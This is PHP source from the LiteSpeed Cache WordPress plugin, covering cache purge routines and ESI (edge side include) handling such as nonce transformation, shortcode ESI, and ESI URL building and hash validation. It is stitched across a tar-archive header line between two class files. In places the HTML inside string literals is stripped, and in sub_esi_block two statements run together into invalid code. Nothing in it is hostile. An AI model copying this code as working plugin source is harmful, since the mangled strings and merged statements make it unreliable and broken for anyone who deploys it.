'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } do_action( 'litespeed_purged_pages' ); } /** * Purge error pages (403/404/500). * * @since 1.0.14 * @param string|false $type Error type. * @return void */ private function _purge_error( $type = false ) { $this->_add( Tag::TYPE_HTTP ); if ( ! $type || ! in_array( (string) $type, [ '403', '404', '500' ], true ) ) { return; } $this->_add( Tag::TYPE_HTTP . $type ); $msg = __( 'Notified LiteSpeed Web Server to purge error pages.', 'litespeed-cache' ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( $msg ); } } /** * Purge selected category by slug. * * @since 1.0.7 * @param string $value Category slug. * @return void */ public function purge_cat( $value ) { $val = trim( (string) $value ); if ( '' === $val ) { return; } if ( 0 === preg_match( '/^[a-zA-Z0-9-]+$/', $val ) ) { self::debug( "$val cat invalid" ); return; } $cat = get_category_by_slug( $val ); if ( false === $cat ) { self::debug( "$val cat not existed/published" ); return; } self::add( Tag::TYPE_ARCHIVE_TERM . $cat->term_id ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( sprintf( __( 'Purge category %s', 'litespeed-cache' ), $val ) ); } do_action( 'litespeed_purged_cat', $value ); } /** * Purge selected tag by slug. * * @since 1.0.7 * @param string $val Tag slug. * @return void */ public function purge_tag( $val ) { $val = trim( (string) $val ); if ( '' === $val ) { return; } if ( 0 === preg_match( '/^[a-zA-Z0-9-]+$/', $val ) ) { self::debug( "$val tag invalid" ); return; } $term = get_term_by( 'slug', $val, 'post_tag' ); if ( false === $term ) { self::debug( "$val tag not exist" ); return; } self::add( Tag::TYPE_ARCHIVE_TERM . $term->term_id ); if ( ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( sprintf( __( 'Purge tag %s', 'litespeed-cache' ), $val ) ); } do_action( 'litespeed_purged_tag', $val ); } /** * Purge selected url (relative allowed). * * @since 1.0.7 * @param string $url URL. * @param bool $purge2 Use Purge2 header. * @param bool $quite If true, do not show admin notice. * @return void */ public function purge_url( $url, $purge2 = false, $quite = false ) { $val = trim( (string) $url ); if ( '' === $val ) { return; } if ( false !== strpos( $val, '<' ) ) { self::debug( "$val url contains <" ); return; } $val = Utility::make_relative( $val ); $hash = Tag::get_uri_tag( $val ); if ( false === $hash ) { self::debug( "$val url invalid" ); return; } self::add( $hash, $purge2 ); if ( ! $quite && ! defined( 'LITESPEED_PURGE_SILENT' ) ) { Admin_Display::success( sprintf( __( 'Purge url %s', 'litespeed-cache' ), $val ) ); } do_action( 'litespeed_purged_link', $url ); } /** * Purge a list based on admin selection. * * @since 1.0.7 * @return void */ public function purge_list() { if ( ! isset( $_REQUEST[ Admin_Display::PURGEBYOPT_SELECT ], $_REQUEST[ Admin_Display::PURGEBYOPT_LIST ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } $sel = sanitize_text_field( wp_unslash( $_REQUEST[ Admin_Display::PURGEBYOPT_SELECT ] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $list_buf = sanitize_textarea_field( wp_unslash( $_REQUEST[ Admin_Display::PURGEBYOPT_LIST ] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( '' === $list_buf ) { return; } $list_buf = str_replace( ',', "\n", $list_buf ); $raw_list = explode( "\n", $list_buf ); switch ( $sel ) { case Admin_Display::PURGEBY_CAT: $cb = 'purge_cat'; break; case Admin_Display::PURGEBY_PID: $cb = 'purge_post'; break; case Admin_Display::PURGEBY_TAG: $cb = 'purge_tag'; break; case Admin_Display::PURGEBY_URL: $cb = 'purge_url'; break; default: return; } array_map( [ $this, $cb ], $raw_list ); // For redirection (safe copy back to GET). $_GET[ Admin_Display::PURGEBYOPT_SELECT ] = $sel; // phpcs:ignore WordPress.Security.NonceVerification.Recommended } /** * Purge ESI. * * @since 3.0 * @param string $tag ESI tag. * @return void */ public static function purge_esi( $tag ) { self::add( Tag::TYPE_ESI . $tag ); do_action( 'litespeed_purged_esi', $tag ); } /** * Purge a certain post type. * * @since 3.0 * @param string $post_type Post type. * @return void */ public static function purge_posttype( $post_type ) { self::add( Tag::TYPE_ARCHIVE_POSTTYPE . $post_type ); self::add( $post_type ); do_action( 'litespeed_purged_posttype', $post_type ); } /** * Purge all related tags to a post. * * @since 1.0.0 * @param int $pid Post ID. * @return void */ public function purge_post( $pid ) { $pid = (int) $pid; // Ignore the status we don't care. $status = get_post_status( $pid ); if ( ! $pid || ! in_array( $status, [ 'publish', 'trash', 'private', 'draft' ], true ) ) { return; } $purge_tags = $this->_get_purge_tags_by_post( $pid ); if ( ! $purge_tags ) { return; } self::add( $purge_tags ); if ( $this->conf( self::O_CACHE_REST ) ) { self::add( Tag::TYPE_REST ); } do_action( 'litespeed_purged_post', $pid ); } /** * Purge a widget by ID (or discover Recent Comments widget). * * Hooked to load-widgets.php. * * @since 1.1.3 * @param string|null $widget_id Widget ID. * @return void */ public static function purge_widget( $widget_id = null ) { if ( null === $widget_id ) { if ( empty( $_POST['widget-id'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing return; } $widget_id = sanitize_text_field( wp_unslash( $_POST['widget-id'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( '' === $widget_id ) { return; } } self::add( Tag::TYPE_WIDGET . $widget_id ); self::add_private( Tag::TYPE_WIDGET . $widget_id ); do_action( 'litespeed_purged_widget', $widget_id ); } /** * Purges the comment widget when the count is updated. * * @since 1.1.3 * @global \WP_Widget_Factory $wp_widget_factory * @return void */ public static function purge_comment_widget() { global $wp_widget_factory; if ( ! isset( $wp_widget_factory->widgets['WP_Widget_Recent_Comments'] ) ) { return; } $recent_comments = $wp_widget_factory->widgets['WP_Widget_Recent_Comments']; if ( null !== $recent_comments ) { self::add( Tag::TYPE_WIDGET . $recent_comments->id ); self::add_private( Tag::TYPE_WIDGET . $recent_comments->id ); do_action( 'litespeed_purged_comment_widget', $recent_comments->id ); } } /** * Purges feeds on comment count update. * * @since 1.0.9 * @return void */ public function purge_feeds() { if ( $this->conf( self::O_CACHE_TTL_FEED ) > 0 ) { self::add( Tag::TYPE_FEED ); } do_action( 'litespeed_purged_feeds' ); } /** * Purges all private cache entries when the user logs out. * * @since 1.1.3 * @return void */ public static function purge_on_logout() { self::add_private_all(); do_action( 'litespeed_purged_on_logout' ); } /** * Finalize purge tags before output. * * @since 1.1.3 * @return void */ private function _finalize() { if ( ! defined( 'LITESPEED_DID_' . __FUNCTION__ ) ) { define( 'LITESPEED_DID_' . __FUNCTION__, true ); } else { return; } do_action( 'litespeed_purge_finalize' ); // Append unique uri purge tags if Admin QS is `PURGESINGLE` or `PURGE`. if ( $this->_purge_single ) { $tags = [ Tag::build_uri_tag() ]; $this->_pub_purge = array_merge( $this->_pub_purge, $this->_prepend_bid( $tags ) ); } if ( ! empty( $this->_pub_purge ) ) { $this->_pub_purge = array_unique( $this->_pub_purge ); } if ( ! empty( $this->_priv_purge ) ) { $this->_priv_purge = array_unique( $this->_priv_purge ); } } /** * Gather and return purge header string. * * @since 1.1.0 * @return string Purge header line. */ public static function output() { $instance = self::cls(); $instance->_finalize(); return $instance->_build(); } /** * Build the current purge header(s). * * @since 1.1.5 * @param bool $purge2 Whether to build X-LiteSpeed-Purge2. * @return string Purge header line. */ private function _build( $purge2 = false ) { if ( $purge2 ) { if ( empty( $this->_pub_purge2 ) ) { return ''; } } elseif ( empty( $this->_pub_purge ) && empty( $this->_priv_purge ) ) { return ''; } $purge_header = ''; $private_prefix = self::X_HEADER . ': private,'; // Handle purge2. if ( $purge2 ) { $public_tags = $this->_append_prefix( $this->_pub_purge2 ); if ( empty( $public_tags ) ) { return ''; } $purge_header = self::X_HEADER2 . ': public,'; if ( Control::is_stale() ) { $purge_header .= 'stale,'; } $purge_header .= implode( ',', $public_tags ); return $purge_header; } if ( ! empty( $this->_pub_purge ) ) { $public_tags = $this->_append_prefix( $this->_pub_purge ); if ( empty( $public_tags ) ) { return ''; // If this ends up empty, private will also end up empty } $purge_header = self::X_HEADER . ': public,'; if ( Control::is_stale() ) { $purge_header .= 'stale,'; } $purge_header .= implode( ',', $public_tags ); $private_prefix = ';private,'; } // Private purge tags. if ( ! empty( $this->_priv_purge ) ) { $private_tags = $this->_append_prefix( $this->_priv_purge, true ); $purge_header .= $private_prefix . implode( ',', $private_tags ); } return $purge_header; } /** * Append LS tag prefix to tags; handle '*' across network. * * @since 1.1.0 * @param array $purge_tags Tags. * @param bool $is_private Private tags. * @return array */ private function _append_prefix( $purge_tags, $is_private = false ) { $curr_bid = is_multisite() ? get_current_blog_id() : ''; $purge_tags = apply_filters( 'litespeed_purge_tags', $purge_tags, $is_private ); if ( ! in_array( '*', $purge_tags, true ) ) { $tags = []; foreach ( $purge_tags as $val ) { $tags[] = LSWCP_TAG_PREFIX . $val; } return $tags; } // Purge All: maybe reset crawler. if ( ! $is_private && $this->conf( self::O_CRAWLER ) ) { Crawler::cls()->reset_pos(); } if ( ( defined( 'LSWCP_EMPTYCACHE' ) && LSWCP_EMPTYCACHE ) || $is_private ) { return [ '*' ]; } if ( is_multisite() && ! $this->_is_subsite_purge() ) { $blogs = Activation::get_network_ids(); if ( empty( $blogs ) ) { self::debug( 'build_purge_headers: blog list is empty' ); return []; } $tags = []; foreach ( $blogs as $blog_id ) { $tags[] = LSWCP_TAG_PREFIX . $blog_id . '_'; } return $tags; } return [ LSWCP_TAG_PREFIX . $curr_bid . '_' ]; } /** * Check if this is a subsite purge in multisite. * * @since 4.0 * @return bool */ private function _is_subsite_purge() { if ( ! is_multisite() ) { return false; } if ( is_network_admin() ) { return false; } if ( defined( 'LSWCP_EMPTYCACHE' ) && LSWCP_EMPTYCACHE ) { return false; } // Ajax network contexts. if ( Router::is_ajax() && ( check_ajax_referer( 'updates', false, false ) || check_ajax_referer( 'litespeed-purgeall-network', false, false ) ) ) { return false; } return true; } /** * Get purge tags related to a post. * * @since 1.0.0 * @param int $post_id Post ID. * @return array */ private function _get_purge_tags_by_post( $post_id ) { if ( $this->conf( self::O_PURGE_POST_ALL ) ) { return [ '*' ]; } do_action( 'litespeed_api_purge_post', $post_id ); $purge_tags = []; // Post itself. $purge_tags[] = Tag::TYPE_POST . $post_id; $post_status = get_post_status( $post_id ); if ( function_exists( 'is_post_status_viewable' ) && is_post_status_viewable( $post_status ) ) { $purge_tags[] = Tag::get_uri_tag( wp_make_link_relative( get_permalink( $post_id ) ) ); } // Avoid overriding global $post: use explicit post object. $the_post = get_post( $post_id ); $post_type = $the_post ? $the_post->post_type : ''; // Widgets: recent posts. global $wp_widget_factory; $recent_posts = isset( $wp_widget_factory->widgets['WP_Widget_Recent_Posts'] ) ? $wp_widget_factory->widgets['WP_Widget_Recent_Posts'] : null; if ( null !== $recent_posts ) { $purge_tags[] = Tag::TYPE_WIDGET . $recent_posts->id; } // get adjacent posts id as related post tag if ( 'post' === $post_type ) { $prev_post = get_previous_post(); $next_post = get_next_post(); if ( ! empty( $prev_post->ID ) ) { $purge_tags[] = Tag::TYPE_POST . $prev_post->ID; self::debug( '--------purge_tags prev is: ' . $prev_post->ID ); } if ( ! empty( $next_post->ID ) ) { $purge_tags[] = Tag::TYPE_POST . $next_post->ID; self::debug( '--------purge_tags next is: ' . $next_post->ID ); } } if ( $this->conf( self::O_PURGE_POST_TERM ) ) { $taxonomies = get_object_taxonomies( $post_type ); // self::debug('purge by post, check tax = ' . var_export($taxonomies, true)); foreach ( $taxonomies as $tax ) { $terms = get_the_terms( $post_id, $tax ); if ( ! empty( $terms ) ) { foreach ( $terms as $term ) { $purge_tags[] = Tag::TYPE_ARCHIVE_TERM . $term->term_id; } } } } if ( $this->conf( self::O_CACHE_TTL_FEED ) ) { $purge_tags[] = Tag::TYPE_FEED; } // Author archives. if ( $this->conf( self::O_PURGE_POST_AUTHOR ) ) { $purge_tags[] = Tag::TYPE_AUTHOR . get_post_field( 'post_author', $post_id ); } // Post type archives. if ( $this->conf( self::O_PURGE_POST_POSTTYPE ) && get_post_type_archive_link( $post_type ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_POSTTYPE . $post_type; $purge_tags[] = $post_type; } if ( $this->conf( self::O_PURGE_POST_FRONTPAGE ) ) { $purge_tags[] = Tag::TYPE_FRONTPAGE; } if ( $this->conf( self::O_PURGE_POST_HOMEPAGE ) ) { $purge_tags[] = Tag::TYPE_HOME; } if ( $this->conf( self::O_PURGE_POST_PAGES ) ) { $purge_tags[] = Tag::TYPE_PAGES; } if ( $this->conf( self::O_PURGE_POST_PAGES_WITH_RECENT_POSTS ) ) { $purge_tags[] = Tag::TYPE_PAGES_WITH_RECENT_POSTS; } // Date archives (use gmdate as per WPCS). $date_gmt = $the_post ? strtotime( $the_post->post_date_gmt ) : false; if ( $date_gmt ) { if ( $this->conf( self::O_PURGE_POST_DATE ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_DATE . gmdate( 'Ymd', $date_gmt ); } if ( $this->conf( self::O_PURGE_POST_MONTH ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_DATE . gmdate( 'Ym', $date_gmt ); } if ( $this->conf( self::O_PURGE_POST_YEAR ) ) { $purge_tags[] = Tag::TYPE_ARCHIVE_DATE . gmdate( 'Y', $date_gmt ); } } return array_unique( array_filter( $purge_tags ) ); } /** * Run a filter and also purge all (utility for hooks). * * @since 1.1.5 * @param string $val Filter value. * @return string Same value. */ public static function filter_with_purge_all( $val ) { self::purge_all(); return $val; } } esi.cls.php000064400000066272152077520300006633 0ustar00 '' ); // val is cache control const QS_ACTION = 'lsesi'; const QS_PARAMS = 'esi'; const COMBO = '__combo'; // ESI include combine='main' handler const PARAM_ARGS = 'args'; const PARAM_ID = 'id'; const PARAM_INSTANCE = 'instance'; const PARAM_NAME = 'name'; const WIDGET_O_ESIENABLE = 'widget_esi_enable'; const WIDGET_O_TTL = 'widget_ttl'; /** * Confructor of ESI * * @since 1.2.0 * @since 4.0 Change to be after Vary init in hook 'after_setup_theme' */ public function init() { /** * Bypass ESI related funcs if disabled ESI to fix potential DIVI compatibility issue * * @since 2.9.7.2 */ if (Router::is_ajax() || !$this->cls('Router')->esi_enabled()) { return; } // Guest mode, don't need to use ESI if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) { return; } if (defined('LITESPEED_ESI_OFF')) { return; } // If page is not cacheable if (defined('DONOTCACHEPAGE') && apply_filters('litespeed_const_DONOTCACHEPAGE', DONOTCACHEPAGE)) { return; } // Init ESI in `after_setup_theme` hook after detected if LITESPEED_DISABLE_ALL is ON or not $this->_hooks(); /** * Overwrite wp_create_nonce func * * @since 2.9.5 */ $this->_transform_nonce(); !defined('LITESPEED_ESI_INITED') && define('LITESPEED_ESI_INITED', true); } /** * Init ESI related hooks * * Load delayed by hook to give the ability to bypass by LITESPEED_DISABLE_ALL const * * @since 2.9.7.2 * @since 4.0 Changed to private from public * @access private */ private function _hooks() { add_filter('template_include', array( $this, 'esi_template' ), 99999); add_action('load-widgets.php', __NAMESPACE__ . '\Purge::purge_widget'); add_action('wp_update_comment_count', __NAMESPACE__ . '\Purge::purge_comment_widget'); /** * Recover REQUEST_URI * * @since 1.8.1 */ if (!empty($_GET[self::QS_ACTION])) { self::debug('ESI req'); $this->_register_esi_actions(); } /** * Shortcode ESI * * To use it, just change the original shortcode as below: * old: [someshortcode aa='bb'] * new: [esi someshortcode aa='bb' cache='private,no-vary' ttl='600'] * * 1. `cache` attribute is optional, default to 'public,no-vary'. * 2. `ttl` attribute is optional, default is your public TTL setting. * 3. `_ls_silence` attribute is optional, default is false. * * @since 2.8 * @since 2.8.1 Check is_admin for Elementor compatibility #726013 */ if (!is_admin()) { add_shortcode('esi', array( $this, 'shortcode' )); } } /** * Take over all nonce calls and transform to ESI * * @since 2.9.5 */ private function _transform_nonce() { if (is_admin()) { return; } // Load ESI nonces in conf $nonces = $this->conf(Base::O_ESI_NONCE); add_filter('litespeed_esi_nonces', array( $this->cls('Data'), 'load_esi_nonces' )); if ($nonces = apply_filters('litespeed_esi_nonces', $nonces)) { foreach ($nonces as $action) { $this->nonce_action($action); } } add_action('litespeed_nonce', array( $this, 'nonce_action' )); } /** * Register a new nonce action to convert it to ESI * * @since 2.9.5 */ public function nonce_action( $action ) { // Split the Cache Control $action = explode(' ', $action); $control = !empty($action[1]) ? $action[1] : ''; $action = $action[0]; // Wildcard supported $action = Utility::wildcard2regex($action); if (array_key_exists($action, $this->_nonce_actions)) { return; } $this->_nonce_actions[$action] = $control; // Debug2::debug('[ESI] Appended nonce action to nonce list [action] ' . $action); } /** * Check if an action is registered to replace ESI * * @since 2.9.5 */ public function is_nonce_action( $action ) { // If GM not run yet, then ESI not init yet, then ESI nonce will not be allowed even nonce func replaced. if (!defined('LITESPEED_ESI_INITED')) { return null; } if (is_admin()) { return null; } if (defined('LITESPEED_ESI_OFF')) { return null; } foreach ($this->_nonce_actions as $k => $v) { if (strpos($k, '*') !== false) { if (preg_match('#' . $k . '#iU', $action)) { return $v; } } elseif ($k == $action) { return $v; } } return null; } /** * Shortcode ESI * * @since 2.8 * @access public */ public function shortcode( $atts ) { if (empty($atts[0])) { Debug2::debug('[ESI] ===shortcode wrong format', $atts); return 'Wrong shortcode esi format'; } $cache = 'public,no-vary'; if (!empty($atts['cache'])) { $cache = $atts['cache']; unset($atts['cache']); } $silence = false; if (!empty($atts['_ls_silence'])) { $silence = true; } do_action('litespeed_esi_shortcode-' . $atts[0]); // Show ESI link return $this->sub_esi_block('esi', 'esi-shortcode', $atts, $cache, $silence); } /** * Check if the requested page has esi elements. If so, return esi on * header. * * @since 1.1.3 * @access public * @return string Esi On header if request has esi, empty string otherwise. */ public static function has_esi() { return self::$has_esi; } /** * Sets that the requested page has esi elements. * * @since 1.1.3 * @access public */ public static function set_has_esi() { self::$has_esi = true; } /** * Register all of the hooks related to the esi logic of the plugin. * Specifically when the page IS an esi page. * * @since 1.1.3 * @access private */ private function _register_esi_actions() { /** * This hook is in `init` * For any plugin need to check if page is ESI, use `LSCACHE_IS_ESI` check after `init` hook */ !defined('LSCACHE_IS_ESI') && define('LSCACHE_IS_ESI', $_GET[self::QS_ACTION]); // Reused this to ESI block ID !empty($_SERVER['ESI_REFERER']) && defined('LSCWP_LOG') && Debug2::debug('[ESI] ESI_REFERER: ' . $_SERVER['ESI_REFERER']); /** * Only when ESI's parent is not REST, replace REQUEST_URI to avoid breaking WP5 editor REST call * * @since 2.9.3 */ if (!empty($_SERVER['ESI_REFERER']) && !$this->cls('REST')->is_rest($_SERVER['ESI_REFERER'])) { self::debug('overwrite REQUEST_URI to ESI_REFERER [from] ' . $_SERVER['REQUEST_URI'] . ' [to] ' . $_SERVER['ESI_REFERER']); if (!empty($_SERVER['ESI_REFERER'])) { $_SERVER['REQUEST_URI'] = $_SERVER['ESI_REFERER']; if (substr(get_option('permalink_structure'), -1) === '/' && strpos($_SERVER['ESI_REFERER'], '?') === false) { $_SERVER['REQUEST_URI'] = trailingslashit($_SERVER['ESI_REFERER']); } } // Prevent from 301 redirecting if (!empty($_SERVER['SCRIPT_URI'])) { $SCRIPT_URI = parse_url($_SERVER['SCRIPT_URI']); $SCRIPT_URI['path'] = $_SERVER['REQUEST_URI']; Utility::compatibility(); $_SERVER['SCRIPT_URI'] = http_build_url($SCRIPT_URI); } } if (!empty($_SERVER['ESI_CONTENT_TYPE']) && strpos($_SERVER['ESI_CONTENT_TYPE'], 'application/json') === 0) { add_filter('litespeed_is_json', '__return_true'); } /** * Make REST call be able to parse ESI * NOTE: Not effective due to ESI req are all to `/` yet * * @since 2.9.4 */ add_action('rest_api_init', array( $this, 'load_esi_block' ), 101); // Register ESI blocks add_action('litespeed_esi_load-widget', array( $this, 'load_widget_block' )); add_action('litespeed_esi_load-admin-bar', array( $this, 'load_admin_bar_block' )); add_action('litespeed_esi_load-comment-form', array( $this, 'load_comment_form_block' )); add_action('litespeed_esi_load-nonce', array( $this, 'load_nonce_block' )); add_action('litespeed_esi_load-esi', array( $this, 'load_esi_shortcode' )); add_action('litespeed_esi_load-' . self::COMBO, array( $this, 'load_combo' )); } /** * Hooked to the template_include action. * Selects the esi template file when the post type is a LiteSpeed ESI page. * * @since 1.1.3 * @access public * @param string $template The template path filtered. * @return string The new template path. */ public function esi_template( $template ) { // Check if is an ESI request if (defined('LSCACHE_IS_ESI')) { self::debug('calling ESI template'); return LSCWP_DIR . 'tpl/esi.tpl.php'; } self::debug('calling default template'); $this->_register_not_esi_actions(); return $template; } /** * Register all of the hooks related to the esi logic of the plugin. * Specifically when the page is NOT an esi page. * * @since 1.1.3 * @access private */ private function _register_not_esi_actions() { do_action('litespeed_tpl_normal'); if (!Control::is_cacheable()) { return; } if (Router::is_ajax()) { return; } add_filter('widget_display_callback', array( $this, 'sub_widget_block' ), 0, 3); // Add admin_bar esi if (Router::is_logged_in()) { remove_action('wp_body_open', 'wp_admin_bar_render', 0); // Remove default Admin bar. Fix https://github.com/elementor/elementor/issues/25198 remove_action('wp_footer', 'wp_admin_bar_render', 1000); add_action('wp_footer', array( $this, 'sub_admin_bar_block' ), 1000); } // Add comment forum esi for logged-in user or commenter if (!Router::is_ajax() && Vary::has_vary()) { add_filter('comment_form_defaults', array( $this, 'register_comment_form_actions' )); } } /** * Set an ESI to be combine='sub' * * @since 3.4.2 */ public static function combine( $block_id ) { if (!isset($_SERVER['X-LSCACHE']) || strpos($_SERVER['X-LSCACHE'], 'combine') === false) { return; } if (in_array($block_id, self::$_combine_ids)) { return; } self::$_combine_ids[] = $block_id; } /** * Load combined ESI * * @since 3.4.2 */ public function load_combo() { Control::set_nocache('ESI combine request'); if (empty($_POST['esi_include'])) { return; } self::set_has_esi(); Debug2::debug('[ESI] 🍔 Load combo', $_POST['esi_include']); $output = ''; foreach ($_POST['esi_include'] as $url) { $qs = parse_url(htmlspecialchars_decode($url), PHP_URL_QUERY); parse_str($qs, $qs); if (empty($qs[self::QS_ACTION])) { continue; } $esi_id = $qs[self::QS_ACTION]; $esi_param = !empty($qs[self::QS_PARAMS]) ? $this->_parse_esi_param($qs[self::QS_PARAMS]) : false; $inline_param = apply_filters('litespeed_esi_inline-' . $esi_id, array(), $esi_param); // Returned array need to be [ val, control, tag ] if ($inline_param) { $output .= self::_build_inline($url, $inline_param); } } echo $output; } /** * Build a whole inline segment * * @since 3.4.2 */ private static function _build_inline( $url, $inline_param ) { if (!$url || empty($inline_param['val']) || empty($inline_param['control']) || empty($inline_param['tag'])) { return ''; } $url = esc_attr($url); $control = esc_attr($inline_param['control']); $tag = esc_attr($inline_param['tag']); return "" . $inline_param['val'] . ''; } /** * Build the esi url. This method will build the html comment wrapper as well as serialize and encode the parameter array. * * The block_id parameter should contain alphanumeric and '-_' only. * * @since 1.1.3 * @access private * @param string $block_id The id to use to display the correct esi block. * @param string $wrapper The wrapper for the esi comments. * @param array $params The esi parameters. * @param string $control The cache control attribute if any. * @param bool $silence If generate wrapper comment or not * @param bool $preserved If this ESI block is used in any filter, need to temporarily convert it to a string to avoid the HTML tag being removed/filtered. * @param bool $svar If store the value in memory or not, in memory will be faster * @param array $inline_param If show the current value for current request( this can avoid multiple esi requests in first time cache generating process ) */ public function sub_esi_block( $block_id, $wrapper, $params = array(), $control = 'private,no-vary', $silence = false, $preserved = false, $svar = false, $inline_param = array() ) { if (empty($block_id) || !is_array($params) || preg_match('/[^\w-]/', $block_id)) { return false; } if (defined('LITESPEED_ESI_OFF')) { Debug2::debug('[ESI] ESI OFF so force loading [block_id] ' . $block_id); do_action('litespeed_esi_load-' . $block_id, $params); return; } if ($silence) { // Don't add comment to esi block ( original for nonce used in tag property data-nonce='esi_block' ) $params['_ls_silence'] = true; } if ($this->cls('REST')->is_rest() || $this->cls('REST')->is_internal_rest()) { $params['is_json'] = 1; } $params = apply_filters('litespeed_esi_params', $params, $block_id); $control = apply_filters('litespeed_esi_control', $control, $block_id); if (!is_array($params) || !is_string($control)) { defined('LSCWP_LOG') && Debug2::debug("[ESI] 🛑 Sub hooks returned Params: \n" . var_export($params, true) . "\ncache control: \n" . var_export($control, true)); return false; } // Build params for URL $appended_params = array( self::QS_ACTION => $block_id, ); if (!empty($control)) { $appended_params['_control'] = $control; } if ($params) { $appended_params[self::QS_PARAMS] = base64_encode(\json_encode($params)); Debug2::debug2('[ESI] param ', $params); } // Append hash $appended_params['_hash'] = $this->_gen_esi_md5($appended_params); /** * Escape potential chars * * @since 2.9.4 */ $appended_params = array_map('urlencode', $appended_params); // Generate ESI URL $url = add_query_arg($appended_params, trailingslashit(wp_make_link_relative(home_url()))); $output = ''; if ($inline_param) { $output .= self::_build_inline($url, $inline_param); } $output .= "_esi_preserve_list[$hash] = $output; self::debug("Preserved to $hash"); return $hash; } return $output; } /** * Generate ESI hash md5 * * @since 2.9.6 * @access private */ private function _gen_esi_md5( $params ) { $keys = array( self::QS_ACTION, '_control', self::QS_PARAMS ); $str = ''; foreach ($keys as $v) { if (isset($params[$v]) && is_string($params[$v])) { $str .= $params[$v]; } } Debug2::debug2('[ESI] md5_string=' . $str); return md5($this->conf(Base::HASH) . $str); } /** * Parses the request parameters on an ESI request * * @since 1.1.3 * @access private */ private function _parse_esi_param( $qs_params = false ) { $req_params = false; if ($qs_params) { $req_params = $qs_params; } elseif (isset($_REQUEST[self::QS_PARAMS])) { $req_params = $_REQUEST[self::QS_PARAMS]; } if (!$req_params) { return false; } $unencrypted = base64_decode($req_params); if ($unencrypted === false) { return false; } Debug2::debug2('[ESI] params', $unencrypted); // $unencoded = urldecode($unencrypted); no need to do this as $_GET is already parsed $params = \json_decode($unencrypted, true); return $params; } /** * Select the correct esi output based on the parameters in an ESI request. * * @since 1.1.3 * @access public */ public function load_esi_block() { /** * Validate if is a legal ESI req * * @since 2.9.6 */ if (empty($_GET['_hash']) || $this->_gen_esi_md5($_GET) != $_GET['_hash']) { Debug2::debug('[ESI] ❌ Failed to validate _hash'); return; } $params = $this->_parse_esi_param(); if (defined('LSCWP_LOG')) { $logInfo = '[ESI] ⭕ '; if (!empty($params[self::PARAM_NAME])) { $logInfo .= ' Name: ' . $params[self::PARAM_NAME] . ' ----- '; } $logInfo .= ' [ID] ' . LSCACHE_IS_ESI; Debug2::debug($logInfo); } if (!empty($params['_ls_silence'])) { !defined('LSCACHE_ESI_SILENCE') && define('LSCACHE_ESI_SILENCE', true); } /** * Buffer needs to be JSON format * * @since 2.9.4 */ if (!empty($params['is_json'])) { add_filter('litespeed_is_json', '__return_true'); } Tag::add(rtrim(Tag::TYPE_ESI, '.')); Tag::add(Tag::TYPE_ESI . LSCACHE_IS_ESI); // Debug2::debug(var_export($params, true )); /** * Handle default cache control 'private,no-vary' for sub_esi_block() @ticket #923505 * * @since 2.2.3 */ if (!empty($_GET['_control'])) { $control = explode(',', $_GET['_control']); if (in_array('private', $control)) { Control::set_private(); } if (in_array('no-vary', $control)) { Control::set_no_vary(); } } do_action('litespeed_esi_load-' . LSCACHE_IS_ESI, $params); } // The *_sub_* functions are helpers for the sub_* functions. // The *_load_* functions are helpers for the load_* functions. /** * Loads the default options for default WordPress widgets. * * @since 1.1.3 * @access public */ public static function widget_default_options( $options, $widget ) { if (!is_array($options)) { return $options; } $widget_name = get_class($widget); switch ($widget_name) { case 'WP_Widget_Recent_Posts': case 'WP_Widget_Recent_Comments': $options[self::WIDGET_O_ESIENABLE] = Base::VAL_OFF; $options[self::WIDGET_O_TTL] = 86400; break; default: break; } return $options; } /** * Hooked to the widget_display_callback filter. * If the admin configured the widget to display via esi, this function * will set up the esi request and cancel the widget display. * * @since 1.1.3 * @access public * @param array $instance Parameter used to build the widget. * @param \WP_Widget $widget The widget to build. * @param array $args Parameter used to build the widget. * @return mixed Return false if display through esi, instance otherwise. */ public function sub_widget_block( $instance, $widget, $args ) { // #210407 if (!is_array($instance)) { return $instance; } $name = get_class($widget); if (!isset($instance[Base::OPTION_NAME])) { return $instance; } $options = $instance[Base::OPTION_NAME]; if (!isset($options) || !$options[self::WIDGET_O_ESIENABLE]) { defined('LSCWP_LOG') && Debug2::debug('ESI 0 ' . $name . ': ' . (!isset($options) ? 'not set' : 'set off')); return $instance; } $esi_private = $options[self::WIDGET_O_ESIENABLE] == Base::VAL_ON2 ? 'private,' : ''; $params = array( self::PARAM_NAME => $name, self::PARAM_ID => $widget->id, self::PARAM_INSTANCE => $instance, self::PARAM_ARGS => $args, ); echo $this->sub_esi_block('widget', 'widget ' . $name, $params, $esi_private . 'no-vary'); return false; } /** * Hooked to the wp_footer action. * Sets up the ESI request for the admin bar. * * @access public * @since 1.1.3 * @global type $wp_admin_bar */ public function sub_admin_bar_block() { global $wp_admin_bar; if (!is_admin_bar_showing() || !is_object($wp_admin_bar)) { return; } // To make each admin bar ESI request different for `Edit` button different link $params = array( 'ref' => $_SERVER['REQUEST_URI'], ); echo $this->sub_esi_block('admin-bar', 'adminbar', $params); } /** * Parses the esi input parameters and generates the widget for esi display. * * @access public * @since 1.1.3 * @global $wp_widget_factory * @param array $params Input parameters needed to correctly display widget */ public function load_widget_block( $params ) { // global $wp_widget_factory; // $widget = $wp_widget_factory->widgets[ $params[ self::PARAM_NAME ] ]; $option = $params[self::PARAM_INSTANCE]; $option = $option[Base::OPTION_NAME]; // Since we only reach here via esi, safe to assume setting exists. $ttl = $option[self::WIDGET_O_TTL]; defined('LSCWP_LOG') && Debug2::debug('ESI widget render: name ' . $params[self::PARAM_NAME] . ', id ' . $params[self::PARAM_ID] . ', ttl ' . $ttl); if ($ttl == 0) { Control::set_nocache('ESI Widget time to live set to 0'); } else { Control::set_custom_ttl($ttl); if ($option[self::WIDGET_O_ESIENABLE] == Base::VAL_ON2) { Control::set_private(); } Control::set_no_vary(); Tag::add(Tag::TYPE_WIDGET . 